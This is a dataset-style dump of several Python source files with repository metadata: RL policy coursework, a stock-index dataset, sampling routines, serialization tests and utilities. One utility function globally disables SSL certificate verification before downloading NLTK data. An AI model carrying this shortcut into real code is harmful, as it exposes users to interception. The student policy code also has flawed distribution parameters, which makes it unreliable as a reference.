hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b263bd18402beb3b2f9d628014049711f3d56a6a | 5,473 | py | Python | assignment_3/starter_code_torch/starter_code_torch/code/policy.py | pranav-s/Stanford_CS234_RL_2021 | e45a2cb759014b574ea2ccd675dfd319fe0af45d | [
"MIT"
] | 2 | 2021-09-13T04:03:01.000Z | 2021-09-15T00:42:53.000Z | assignment_3/starter_code_torch/starter_code_torch/code/policy.py | pranav-s/Stanford_CS234_RL_2021 | e45a2cb759014b574ea2ccd675dfd319fe0af45d | [
"MIT"
] | null | null | null | assignment_3/starter_code_torch/starter_code_torch/code/policy.py | pranav-s/Stanford_CS234_RL_2021 | e45a2cb759014b574ea2ccd675dfd319fe0af45d | [
"MIT"
] | 2 | 2021-09-13T04:03:04.000Z | 2022-01-10T06:20:10.000Z | import torch
import torch.nn as nn
import torch.distributions as ptd
from network_utils import np2torch, device
class BasePolicy:
def action_distribution(self, observations):
"""
Args:
observations: torch.Tensor of shape [batch size, dim(observation space)]
Returns:
distribution: instance of a subclass of torch.distributions.Distribution
See https://pytorch.org/docs/stable/distributions.html#distribution
This is an abstract method and must be overridden by subclasses.
It will return an object representing the policy's conditional
distribution(s) given the observations. The distribution will have a
batch shape matching that of observations, to allow for a different
distribution for each observation in the batch.
"""
raise NotImplementedError
def act(self, observations):
"""
Args:
observations: np.array of shape [batch size, dim(observation space)]
Returns:
sampled_actions: np.array of shape [batch size, *shape of action]
TODO:
Call self.action_distribution to get the distribution over actions,
then sample from that distribution. You will have to convert the
actions to a numpy array, via numpy(). Put the result in a variable
called sampled_actions (which will be returned).
"""
observations = np2torch(observations)
#######################################################
######### YOUR CODE HERE - 1-3 lines. ############
sampled_actions = self.action_distribution(observations).sample().cpu().data.numpy()
#######################################################
######### END YOUR CODE. ############
return sampled_actions
class CategoricalPolicy(BasePolicy, nn.Module):
def __init__(self, network):
nn.Module.__init__(self)
self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')
self.network = network
self.network.to(self.device)
def action_distribution(self, observations):
"""
Args:
observations: torch.Tensor of shape [batch size, dim(observation space)]
Returns:
distribution: torch.distributions.Categorical where the logits
are computed by self.network
See https://pytorch.org/docs/stable/distributions.html#categorical
"""
#######################################################
######### YOUR CODE HERE - 1-2 lines. ############
distribution = ptd.categorical.Categorical(logits=self.network(observations))
#######################################################
######### END YOUR CODE. ############
return distribution
class GaussianPolicy(BasePolicy, nn.Module):
def __init__(self, network, action_dim):
"""
After the basic initialization, you should create a nn.Parameter of
shape [dim(action space)] and assign it to self.log_std.
A reasonable initial value for log_std is 0 (corresponding to an
initial std of 1), but you are welcome to try different values.
"""
nn.Module.__init__(self)
self.network = network
#######################################################
######### YOUR CODE HERE - 1 line. ############
self.log_std = nn.Parameter(torch.tensor([0]*action_dim))
# What is this exactly?
#######################################################
######### END YOUR CODE. ############
def std(self):
"""
Returns:
std: torch.Tensor of shape [dim(action space)]
The return value contains the standard deviations for each dimension
of the policy's actions. It can be computed from self.log_std
"""
#######################################################
######### YOUR CODE HERE - 1 line. ############
std = torch.exp(self.log_std)
#######################################################
######### END YOUR CODE. ############
return std
def action_distribution(self, observations):
"""
Args:
observations: torch.Tensor of shape [batch size, dim(observation space)]
Returns:
distribution: an instance of a subclass of
torch.distributions.Distribution representing a diagonal
Gaussian distribution whose mean (loc) is computed by
self.network and standard deviation (scale) is self.std()
Note: PyTorch doesn't have a diagonal Gaussian built in, but you can
fashion one out of
(a) torch.distributions.MultivariateNormal
or
(b) A combination of torch.distributions.Normal
and torch.distributions.Independent
"""
#######################################################
######### YOUR CODE HERE - 2-4 lines. ############
mean = self.network(observations) # Dimension won't be right
distribution = ptd.multivariate_normal.MultivariateNormal(mean, self.std())
#######################################################
######### END YOUR CODE. ############
return distribution | 41.462121 | 92 | 0.526768 | 535 | 5,473 | 5.323364 | 0.308411 | 0.02809 | 0.021067 | 0.02809 | 0.311447 | 0.242275 | 0.231742 | 0.206461 | 0.124298 | 0.124298 | 0 | 0.003284 | 0.276631 | 5,473 | 132 | 93 | 41.462121 | 0.71609 | 0.482733 | 0 | 0.28125 | 0 | 0 | 0.00437 | 0 | 0 | 0 | 0 | 0.045455 | 0 | 1 | 0.21875 | false | 0 | 0.125 | 0 | 0.5625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 3 |
b268af6baaa850069415d0ace1016dd1f40b7eab | 1,371 | py | Python | venv/Lib/site-packages/statsmodels/tsa/arima/datasets/brockwell_davis_2002/data/dowj.py | EkremBayar/bayar | aad1a32044da671d0b4f11908416044753360b39 | [
"MIT"
] | 6,931 | 2015-01-01T11:41:55.000Z | 2022-03-31T17:03:24.000Z | venv/Lib/site-packages/statsmodels/tsa/arima/datasets/brockwell_davis_2002/data/dowj.py | EkremBayar/bayar | aad1a32044da671d0b4f11908416044753360b39 | [
"MIT"
] | 6,137 | 2015-01-01T00:33:45.000Z | 2022-03-31T22:53:17.000Z | venv/Lib/site-packages/statsmodels/tsa/arima/datasets/brockwell_davis_2002/data/dowj.py | EkremBayar/bayar | aad1a32044da671d0b4f11908416044753360b39 | [
"MIT"
] | 2,608 | 2015-01-02T21:32:31.000Z | 2022-03-31T07:38:30.000Z | """
Dow-Jones Utilities Index, Aug.28--Dec.18, 1972.
Dataset described in [1]_ and included as a part of the ITSM2000 software [2]_.
Downloaded on April 22, 2019 from:
http://www.springer.com/cda/content/document/cda_downloaddocument/ITSM2000.zip
See also https://finance.yahoo.com/quote/%5EDJU/history?period1=83822400&period2=93502800&interval=1d&filter=history&frequency=1d
TODO: Add the correct business days index for this data (freq='B' does not work)
References
----------
.. [1] Brockwell, Peter J., and Richard A. Davis. 2016.
Introduction to Time Series and Forecasting. Springer.
.. [2] Brockwell, Peter J., and Richard A. Davis. n.d. ITSM2000.
""" # noqa:E501
import pandas as pd
dowj = pd.Series([
110.94, 110.69, 110.43, 110.56, 110.75, 110.84, 110.46, 110.56, 110.46,
110.05, 109.6, 109.31, 109.31, 109.25, 109.02, 108.54, 108.77, 109.02,
109.44, 109.38, 109.53, 109.89, 110.56, 110.56, 110.72, 111.23, 111.48,
111.58, 111.9, 112.19, 112.06, 111.96, 111.68, 111.36, 111.42, 112,
112.22, 112.7, 113.15, 114.36, 114.65, 115.06, 115.86, 116.4, 116.44,
116.88, 118.07, 118.51, 119.28, 119.79, 119.7, 119.28, 119.66, 120.14,
120.97, 121.13, 121.55, 121.96, 122.26, 123.79, 124.11, 124.14, 123.37,
123.02, 122.86, 123.02, 123.11, 123.05, 123.05, 122.83, 123.18, 122.67,
122.73, 122.86, 122.67, 122.09, 122, 121.23])
| 44.225806 | 129 | 0.664478 | 265 | 1,371 | 3.426415 | 0.577358 | 0.022026 | 0.035242 | 0.039648 | 0.068282 | 0.068282 | 0.068282 | 0 | 0 | 0 | 0 | 0.377472 | 0.151714 | 1,371 | 30 | 130 | 45.7 | 0.403267 | 0.487965 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.033333 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.090909 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b2764b9e3c01c282f928ae89e973f533a36f3990 | 231 | py | Python | PKI/testAsn1.py | lostFox/autoRunSomething | 519f2ebca6e2c78aa3caeed2e88b8f92403a8b46 | [
"BSD-3-Clause"
] | null | null | null | PKI/testAsn1.py | lostFox/autoRunSomething | 519f2ebca6e2c78aa3caeed2e88b8f92403a8b46 | [
"BSD-3-Clause"
] | 1 | 2020-04-28T07:54:19.000Z | 2020-05-23T17:57:43.000Z | PKI/testAsn1.py | lostFox/autoRunSomething | 519f2ebca6e2c78aa3caeed2e88b8f92403a8b46 | [
"BSD-3-Clause"
] | null | null | null | import asn1tools
foo = asn1tools.compile_files('sequence.asn', 'oer')
# encoded = foo.encode('Signature', ('sm2Signature', 0xABCD))
encoded = foo.encode('SignedDataPayload', {'data': 0x08, 'extDataHash': 0x16})
print(encoded) | 38.5 | 79 | 0.714286 | 25 | 231 | 6.56 | 0.76 | 0.121951 | 0.195122 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.048544 | 0.108225 | 231 | 6 | 80 | 38.5 | 0.747573 | 0.255411 | 0 | 0 | 0 | 0 | 0.283133 | 0 | 0 | 0 | 0.048193 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0.25 | 1 | 0 | 0 | null | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b291f66420de2779247e9852e08d31a603d92ecf | 9,503 | py | Python | src/localization/sampling.py | anindex/auto_localization | e8acc6fb4a4221115e2d4f9ba87fd077ad741b70 | [
"MIT"
] | 1 | 2020-09-03T14:29:27.000Z | 2020-09-03T14:29:27.000Z | src/localization/sampling.py | anindex/auto_localization | e8acc6fb4a4221115e2d4f9ba87fd077ad741b70 | [
"MIT"
] | null | null | null | src/localization/sampling.py | anindex/auto_localization | e8acc6fb4a4221115e2d4f9ba87fd077ad741b70 | [
"MIT"
] | 2 | 2019-09-26T15:20:37.000Z | 2021-07-14T11:00:49.000Z | import numpy as np
from utils.structures import mesh
from scipy.stats import gaussian_kde
from geometry_msgs.msg import PoseArray
def resampling_wheel_pose_array(pose_array,weights,nsamples=None):
if nsamples is None:
nsamples = len(pose_array.poses)
resampled_pose_array = PoseArray()
resampled_weights = list()
index = np.random.randint(weights.shape[0])
beta = 0.0
mw = np.max(weights)
for i in range(nsamples):
beta = beta + np.random.rand()*2*mw
while beta > weights[index]:
beta -= weights[index]
index = (index+1)%weights.shape[0]
resampled_pose_array.poses.append(pose_array.poses[index])
resampled_weights.append(weights[index])
return resampled_pose_array, np.asarray(resampled_weights)
def resampling_wheel(particles,weights,Nsamples=None):
'''
Create new particles given particles' weights
Resampling wheel code adapted from Udacity's course 'Artificial Intelligence for Robotics'
'''
N,dim = particles.shape
if Nsamples is None:
Nsamples = N
p = np.empty((1,dim))
index = np.random.randint(N)
beta = 0.0
mw = np.max(weights)
for i in range(Nsamples+1):
beta = beta + np.random.rand()*2*mw
while beta > weights[index]:
beta -= weights[index]
index = (index+1)%N
p = np.append(p, np.reshape(particles[index,:],(1,dim)), axis=0)
return p[1:Nsamples+1,:]
def accept_reject_uniform(fun, *args, **kwargs):
"""
accept-reject algorithm sampling using an uniform envelope distribution g(x)=M*uniform
fun(x,*args) is the function to sample
*args is the arguments for fun
**kwargs
max_fun is M
dim is the input dimension for fun, input must be re-scaled to [0-1]
dim2_0 is a flag that if true and dim=2 makes second dimension of x equal to zero - used when collapsing 2D data to 1D
nsamples is the desired number of samples to be generated
u_min = min value for u, so fun(x)/M must be always higher than u_min for it to be accepted
span is the area from where to sample
batch is the factor of the 'batch', algorithm evaluates fun in batches of 'npoints' for speed
"""
#TODO: use arbitrary g(x)
max_fun = kwargs.get('max_fun',1.)
dim = kwargs.get('dim',2)
nsamples = kwargs.get('nsamples',800)
u_min = kwargs.get('u_min',0.)
dim2_0 = kwargs.get('dim2_0',False)
min_max = kwargs.get('span',(-20,80,-20,80))
batch = kwargs.get('batch',20)
npoints = batch*nsamples
samples = np.empty((1,dim))
reject_thres = kwargs.get('reject_thres', 0.06)
_min_x = min_max[0]*1.0
_min_y = min_max[2]*1.0
_span_x = min_max[1]*1.0-min_max[0]*1.0
_span_y = min_max[3]*1.0-min_max[2]*1.0
rep = 0
while len(samples) < nsamples+1:
x = np.random.rand(npoints,dim)
x[:,0] = x[:,0]*_span_x+_min_x
x[:,1] = x[:,1]*_span_y+_min_y
if dim == 2 and dim2_0:
x[:,1] = x[:,1]*0
px = fun(x, **kwargs)
u = np.random.rand(npoints)*(1.-u_min)+u_min
samples = np.append(samples, x[(u < px/max_fun) & (px > reject_thres),:],axis=0)
rep = rep+1
max_fun = 0.9*max_fun
return samples[1:nsamples+1,:], rep, len(samples)
def accept_reject_by_regions(fun, *args, **kwargs):
"""
accept-reject algorithm sampling using an uniform by region envelope distribution
g(x)=M*uniformbyregion, the algorithm first divides the sampling region in KxK regions and generates
l_{k,k} uniform samples by each region with l_{k,k} being the relative probability of the region
fun(x,*args) is the function to sample
*args is the arguments for fun
**kwargs
max_fun is M
dim is the input dimension for fun, input must be re-scaled to [0-1]
dim2_0 is a flag that if true and dim=2 makes second dimension of x equal to zero - used when collapsing 2D data to 1D
nsamples is the desired number of samples to be generated
u_min = min value for u, so fun(x)/M must be always higher than u_min for it to be accepted
span is the area from where to sample
batch is the factor of the 'batch', algorithm evaluates fun in batches of 'npoints' for speed
K is the number of regions
"""
max_fun = kwargs.get('max_fun',2.5)
dim = kwargs.get('dim',2)
nsamples = kwargs.get('nsamples',800)
u_min = kwargs.get('u_min',0.)
dim2_0 = kwargs.get('dim2_0',False)
min_max = kwargs.get('span',(-20,80,-20,80))
batch = kwargs.get('batch',1)
K = kwargs.get('K',15)
npoints = batch*nsamples
samples = np.empty((1,dim))
#psamples = np.empty(1)
if len(min_max)==2:
min_max = (min_max[0],min_max[1],min_max[0],min_max[1])
_min_x = min_max[0]
_min_y = min_max[2]
_span_x = min_max[1]-min_max[0]
_span_y = min_max[3]-min_max[2]
#KxK regions
_minmax_x = np.linspace(0,_span_x,K,endpoint=False)+_min_x
_minmax_y = np.linspace(0,_span_y,K,endpoint=False)+_min_y
_minmax = mesh(_minmax_x,_minmax_y)
#Eval p() of each region
_eval_x = np.linspace(0,_span_x,K+1)+_min_x #corners of each region
_eval_y = np.linspace(0,_span_y,K+1)+_min_y #corners of each region
evalx = mesh(_eval_x,_eval_y)
pc = fun(evalx,*args,**kwargs) #p() of the corner of each region
PX = np.reshape(pc,(K+1,K+1)) # matrix form
px = np.zeros((K,K)) # the p() of each region is calculated as the average of the corners
for j in range(K):
for k in range(K):
px[j,k] = np.sum(PX[j:j+2,k:k+2])/4
px = px.flatten()
_px = np.round(npoints*px/np.sum(px))
min_px = np.min(px[_px>=0])
px = np.clip(px, min_px,np.inf)
max_funi = max_fun*px
vector = np.concatenate((_minmax,max_funi[:,None]),axis=1)
#Accept-reject base algorithm
rep = 0
while len(samples) < nsamples+1:
#sampling grid space to sample from using px
sampled_vector = resampling_wheel(vector,px,Nsamples=npoints)
xs = np.random.rand(npoints,dim)
xs[:,0] *= _span_x/K
xs[:,1] *= _span_y/K
xs += sampled_vector[:,0:2]
if dim == 2 and dim2_0:
xs[:,1] = xs[:,1]*0
pxs = fun(xs, *args,**kwargs)
u = np.random.rand(npoints)
samples = np.append(samples,xs[u<(pxs/sampled_vector[:,2]),:],axis=0)
#psamples = np.append(psamples,pxs[u<(pxs/sampled_vector[:,2]),:])
rep = rep+1
#max_fun = 0.9*max_fun
return samples[1:nsamples+1,:], _px, max_funi, max_fun, rep
def accept_reject_by_regions_map(fun, *args, **kwargs):
max_fun = kwargs.get('max_fun',1.25)
dim = kwargs.get('dim',2)
nsamples = kwargs.get('nsamples',800)
u_min = kwargs.get('u_min',0.)
dim2_0 = kwargs.get('dim2_0',False)
min_max = kwargs.get('span',(-20,80,-20,80))
batch = kwargs.get('batch',1)
K = kwargs.get('K',15)
lrfmap = kwargs.get('lrfmap',None)
npoints = batch*nsamples
if lrfmap is not None:
# several samples are expected to be rejected, so an additional factor is introduced
npoints = 3*npoints
samples = np.empty((1,dim))
if len(min_max)==2:
min_max = (min_max[0]*1.0,min_max[1]*1.0,min_max[0]*1.0,min_max[1]*1.0)
_min_x = min_max[0]*1.0
_min_y = min_max[2]*1.0
_span_x = min_max[1]*1.0-min_max[0]*1.0
_span_y = min_max[3]*1.0-min_max[2]*1.0
#KxK regions
_minmax_x = np.linspace(0,_span_x,K,endpoint=False)+_min_x
_minmax_y = np.linspace(0,_span_y,K,endpoint=False)+_min_y
_minmax = mesh(_minmax_x,_minmax_y)
#Eval p() of each region
_eval_x = np.linspace(0,_span_x,K+1)+_min_x #corners of each region
_eval_y = np.linspace(0,_span_y,K+1)+_min_y #corners of each region
evalx = mesh(_eval_x,_eval_y)
pc = fun(evalx,*args,**kwargs) #p() of the corner of each region
PX = np.reshape(pc,(K+1,K+1)) # matrix form
px = np.zeros((K,K)) # the p() of each region is calculated as the average of the corners
for j in range(K):
for k in range(K):
px[j,k] = np.sum(PX[j:j+2,k:k+2])/4.0
px = px.flatten()
_px = np.round(npoints*px/np.sum(px))
min_px = np.min(px[_px>=0])
px = np.clip(px, min_px,np.inf)
max_funi = max_fun*px
vector = np.concatenate((_minmax,max_funi[:,None]),axis=1)
#Accept-reject base algorithm
rep = 0
while len(samples) < nsamples+1:
#sampling grid space to sample from using px
sampled_vector = resampling_wheel(vector,px,Nsamples=npoints)
xs = np.random.rand(npoints,dim)
xs[:,0] *= _span_x/K
xs[:,1] *= _span_y/K
xs += sampled_vector[:,0:2]
if dim == 2 and dim2_0:
xs[:,1] = xs[:,1]*0
#check map occupancy
if lrfmap is not None:
free_xs = lrfmap.occupancy_free(xs)
xs = xs[free_xs,:]
sampled_vector = sampled_vector[free_xs,:]
pxs = fun(xs, *args,**kwargs)
u = np.random.rand(xs.shape[0])
samples = np.append(samples,xs[u<(pxs/sampled_vector[:,2]),:],axis=0)
#psamples = np.append(psamples,pxs[u<(pxs/sampled_vector[:,2]),:])
rep = rep+1
#max_fun = 0.9*max_fun
return samples[1:nsamples+1,:], _px, max_funi, max_fun, rep
| 35.996212 | 122 | 0.616332 | 1,570 | 9,503 | 3.573248 | 0.131847 | 0.035294 | 0.012478 | 0.02139 | 0.764171 | 0.723529 | 0.704635 | 0.687522 | 0.673975 | 0.662923 | 0 | 0.035019 | 0.248764 | 9,503 | 263 | 123 | 36.13308 | 0.750805 | 0.262864 | 0 | 0.660714 | 0 | 0 | 0.019631 | 0 | 0 | 0 | 0 | 0.003802 | 0 | 1 | 0.029762 | false | 0 | 0.02381 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b292e7ed5310881eefd3b08fc9e8d7dd488f83e0 | 992 | py | Python | utils/tools.py | psunlpgroup/Summ-N | 3285317e7bbb24519bc709de52d7b45c732a8a9c | [
"MIT"
] | null | null | null | utils/tools.py | psunlpgroup/Summ-N | 3285317e7bbb24519bc709de52d7b45c732a8a9c | [
"MIT"
] | null | null | null | utils/tools.py | psunlpgroup/Summ-N | 3285317e7bbb24519bc709de52d7b45c732a8a9c | [
"MIT"
] | null | null | null | import importlib
import os
import sys
def get_dataloader(loader):
Loader = importlib.import_module('dataset_loader.{}'.format(loader)).Loader
return Loader
def get_model(model):
Model = importlib.import_module('models.{}'.format(model)).Model
return Model
def get_constructor(constructor):
Constructor = importlib.import_module('{}'.format(constructor)).Constructor
return Constructor
def get_evaluator(evaluate_tool):
EvaluateTool = importlib.import_module('{}'.format(evaluate_tool)).EvaluateTool
return EvaluateTool
import nltk
import ssl
def download_nltk():
try:
_create_unverified_https_context = ssl._create_unverified_context
except AttributeError:
pass
else:
ssl._create_default_https_context = _create_unverified_https_context
nltk.download("punkt")
def add_sys_path():
curPath = os.path.abspath(os.path.dirname(__file__))
rootPath = os.path.split(curPath)[0]
sys.path.append(rootPath) | 23.619048 | 83 | 0.740927 | 117 | 992 | 6 | 0.367521 | 0.106838 | 0.119658 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001198 | 0.158266 | 992 | 42 | 84 | 23.619048 | 0.839521 | 0 | 0 | 0 | 0 | 0 | 0.035247 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.206897 | false | 0.034483 | 0.310345 | 0 | 0.655172 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 3 |
b295231578efbfbfb5a444d5f6ad69cc9ea9c0f3 | 1,396 | py | Python | tests/test_ints.py | albatrossen/binarydataclass | 6d0c1d498b9b5240d40705cbd0a9910b3a28afff | [
"MIT"
] | null | null | null | tests/test_ints.py | albatrossen/binarydataclass | 6d0c1d498b9b5240d40705cbd0a9910b3a28afff | [
"MIT"
] | null | null | null | tests/test_ints.py | albatrossen/binarydataclass | 6d0c1d498b9b5240d40705cbd0a9910b3a28afff | [
"MIT"
] | null | null | null | from binarydataclass import (
from_bytes,
Uint8,
Uint16,
Uint32,
Uint64,
Int8,
Int16,
Int32,
Int64,
binaryfield,
int_decoder,
)
from dataclasses import dataclass
@dataclass
class PointWithTypes:
a: Uint8
b: Uint16
c: Uint32
d: Uint64
e: Int8
f: Int16
g: Int32
h: Int64
@dataclass
class PointWithoutTypes:
a: int = binaryfield(int_decoder(bits=8))
b: int = binaryfield(int_decoder(bits=16))
c: int = binaryfield(int_decoder(bits=32))
d: int = binaryfield(int_decoder(bits=64))
e: int = binaryfield(int_decoder(bits=8, signed=True))
f: int = binaryfield(int_decoder(bits=16, signed=True))
g: int = binaryfield(int_decoder(bits=32, signed=True))
h: int = binaryfield(int_decoder(bits=64, signed=True))
def test_with_types():
obj = from_bytes(
PointWithTypes,
b"\x01\x00\x02\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\x01\xff\xff\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff",
)
assert obj == PointWithTypes(1, 2, 5, 18446744073709551615, 1, -1, 5, -1)
def test_without_types():
obj = from_bytes(
PointWithoutTypes,
b"\x01\x00\x02\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff\x01\xff\xff\x00\x00\x00\x05\xff\xff\xff\xff\xff\xff\xff\xff",
)
assert obj == PointWithoutTypes(1, 2, 5, 18446744073709551615, 1, -1, 5, -1)
| 25.381818 | 132 | 0.654011 | 206 | 1,396 | 4.354369 | 0.247573 | 0.200669 | 0.240803 | 0.267559 | 0.548495 | 0.548495 | 0.283166 | 0.283166 | 0.222965 | 0.222965 | 0 | 0.129964 | 0.206304 | 1,396 | 54 | 133 | 25.851852 | 0.679603 | 0 | 0 | 0.130435 | 0 | 0.043478 | 0.17192 | 0.17192 | 0 | 0 | 0 | 0 | 0.043478 | 1 | 0.043478 | false | 0 | 0.043478 | 0 | 0.478261 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3 |
b2a1687ed4b041218202b677fc6f8a4e86018442 | 2,585 | py | Python | designate_interop_tempest_plugin/common/models.py | designate-dns/designate-interop-tempest-plugin | 9f63fe0bbaddea25bbde0315aab3348c0d3a225d | [
"Apache-2.0"
] | 15 | 2016-04-22T10:00:44.000Z | 2020-01-08T02:36:34.000Z | designate_interop_tempest_plugin/common/models.py | designate-dns/designate-interop-tempest-plugin | 9f63fe0bbaddea25bbde0315aab3348c0d3a225d | [
"Apache-2.0"
] | null | null | null | designate_interop_tempest_plugin/common/models.py | designate-dns/designate-interop-tempest-plugin | 9f63fe0bbaddea25bbde0315aab3348c0d3a225d | [
"Apache-2.0"
] | 10 | 2016-04-14T16:35:07.000Z | 2019-03-18T14:47:36.000Z | """
Copyright 2015 Rackspace
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
class ZoneFile(object):
def __init__(self, origin, ttl, records):
self.origin = origin
self.ttl = ttl
self.records = records
def __str__(self):
return str(self.__dict__)
def __repr__(self):
return str(self)
def __eq__(self, other):
